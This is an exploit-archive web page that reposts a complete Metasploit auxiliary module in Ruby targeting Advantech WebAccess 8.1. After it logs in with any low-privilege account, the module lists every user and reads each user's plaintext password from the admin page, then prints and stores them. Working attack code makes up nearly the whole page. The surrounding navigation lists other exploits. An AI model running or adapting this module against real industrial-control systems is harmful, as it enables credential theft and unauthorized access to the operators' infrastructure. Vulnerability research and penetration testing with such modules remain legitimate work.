首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Advantech WebAccess 8.1 Post Authentication Credential Collector Exploit
来源:metasploit.com 作者:h00die 发布时间:2017-02-20  
##
# This module requires Metasploit: http://metasploit.com/download
##
  
require 'msf/core'
  
class MetasploitModule < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
      'Description'    => %q{
        This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
        Although authentication is required, any level of user permission can exploit this vulnerability.
        Note that 8.2 is not suitable for this.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
          'sinn3r', # Metasploit module
        ],
      'References'     =>
        [
          ['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
        ],
      'DisclosureDate' => "Jan 21 2017"
    ))
  
    register_options(
      [
        OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
        OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),
        OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
      ], self.class)
  end
  
  def do_login
    vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
  
    uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')
  
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'vars_post' => {
        'page' => '/',
        'pos'  => '',
        'username' => datastore['WEBACCESSUSER'],
        'password' => datastore['WEBACCESSPASS'],
        'remMe'    => '',
        'submit1'  => 'Login'
      }
    })
  
    unless res
      fail_with(Failure::Unknown, 'Connection timed out while trying to login')
    end
  
    if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'
      print_good("Logged in as #{datastore['WEBACCESSUSER']}")
      report_cred(
        user: datastore['WEBACCESSUSER'],
        password: datastore['WEBACCESSPASS'],
        status: Metasploit::Model::Login::Status::SUCCESSFUL
      )
      return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''
    end
  
    print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")
  
    nil
  end
  
  def get_user_cred_detail(sid, user)
    vprint_status("Gathering password for user: #{user}")
  
    uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')
  
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri,
      'cookie' => sid,
      'vars_get' => {
        'uname' => user
      }
    })
  
    unless res
      print_error("Unable to gather password for user #{user} due to a connection timeout")
      return nil
    end
  
    html = res.get_html_document
    pass_field = html.at('input[@name="Password"]')
  
    pass_field ? pass_field.attributes['value'].text : nil
  end
  
  def get_users_page(sid)
    vprint_status("Checking user page...")
  
    uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')
  
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri,
      'cookie' => sid
    })
  
    unless res
      fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')
    end
  
    html = res.get_html_document
  
    users = html.search('a').map { |a|
      Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '')
    }.delete_if { |user| user.blank? }
  
    users
  end
  
  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'webaccess',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
  
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)
  
    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: opts[:status],
      proof: opts[:proof]
    }.merge(service_data)
  
    create_credential_login(login_data)
  end
  
  def run
    cookie = do_login
    users = get_users_page(cookie)
  
    users.each do |user|
      pass = get_user_cred_detail(cookie, user)
  
      if pass
        report_cred(
          user: user,
          password: pass,
          status: Metasploit::Model::Login::Status::SUCCESSFUL,
          proof: 'AdminPg.asp'
        )
  
        print_good("Found password: #{user}:#{pass}")
      end
    end
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TI Online Examination System 2
·WordPress 4.7 / 4.7.1 REST API
·OpenText Documentum D2 - Remot
·Microsoft SQL Server Clr Store
·RandoriSec
·NETGEAR DGN2200v1/v2/v3/v4 - '
·Piwik 2.14.0 / 2.16.0 / 2.17.1
·Sophos Web Appliance 4.2.1.3 -
·Microsoft Edge - TypedArray.so
·Sophos Web Appliance 4.2.1.3 -
·Linux Kernel 3.10.0 (CentOS7)
·Sonicwall 8.1.0.2-14sv - 'exte
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved